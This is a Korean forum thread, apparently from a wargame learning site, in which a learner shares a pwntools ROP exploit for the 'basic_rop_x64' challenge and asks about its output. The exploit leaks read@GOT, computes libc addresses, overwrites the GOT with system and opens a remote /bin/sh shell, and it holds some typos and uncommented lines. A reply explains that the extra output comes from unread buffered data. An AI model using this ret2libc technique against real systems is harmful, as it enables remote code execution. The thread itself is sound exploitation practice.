exploit code를 실행했을 때, 마지막에 payload의 일부가 출력되는 이유를 모르겠습니다.
<exploit code>
from pwn import *
HOST = 'host3.dreamhack.games'
PORT = 19566
p = remote(HOST, PORT)
elf = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
context(arch='amd64', os='linux', log_level='debug')
pr = 0x400883
ppr = 0x400881
write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
payload = b'A'*0x40 + b'B'*0x8
write(1, read_got, 0x10)
payload += p64(pr) + p64(1)
payload += p64(ppr) + p64(read_got) + p64(0)
payload += p64(write_plt)
read(0, read_got, 0x10)
payload += p64(pr) + p64(0)
payload += p64(ppr) + p64(read_got) + p64(0)
payload += p64(read_plt)
read("/bin/sh") => system("/bin/sh")
payload += p64(pr) + p64(read_got + 0x8)
payload += p64(read_plt)
p.send(payload)
p.recvuntil(b'A'*0x40) ---- 1
read = u64(p.recvn(6).ljust(8, b'\x00'))
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
p.recv() ----2
p.sendlne(p64(system) + b'/bin/sh\x00')
p.interactive()
질문
1번 : C 파일에서 wirte(1, buf, sizeof(buf)) 함수를 실행하므로 buf의 크기인 0x40만큼 recv를 하는 것이 맞나요?
2번 : 강의와 다르게 payload의 일부(?)가 출력되는 것 같은데, 그 이유가 뭔가요?
음 질문이 조금 이해가 안되는데...
일단 이해한거 기준으로
- 아니요 40 이후에 릭 깂이 출력되기에 그걸 받아오기 위함입니다.
- 출력된게 아니라 보낸 값 아닌가요 로그 레벨을 디버그로 하셔서요.
1번 관련.
wyv3rn님께서 말씀하신 부분 이해했습니다.
2번 관련.
첨부한 사진은 위에서 제가 작성한 코드에서 2번(p.recv())을 안 했을 때의 결과입니다.
파란색으로 감싼 부분이 출력되는데, 저 값이 왜 나오는 지 모르겠습니다 ...
아 ㅎㅎㅎ
payload 값으로 길게 보냈는데 앞에서 A와 릭된 값만 빋아오고 나머지는 안받고 기다려서 인터렉티브 되자마자 출력해준겁니다.
공격 코드 상 서버에서는 해당 값을 포함하여 전체를 나에게 보내줬는데, 나는 A 40과 릭된 값만 우선 받았기 때문입니다.
별로 중요한 부분은 아니지만... 전체를 받아서 릭된 값만 추리시면 안뜰거에요.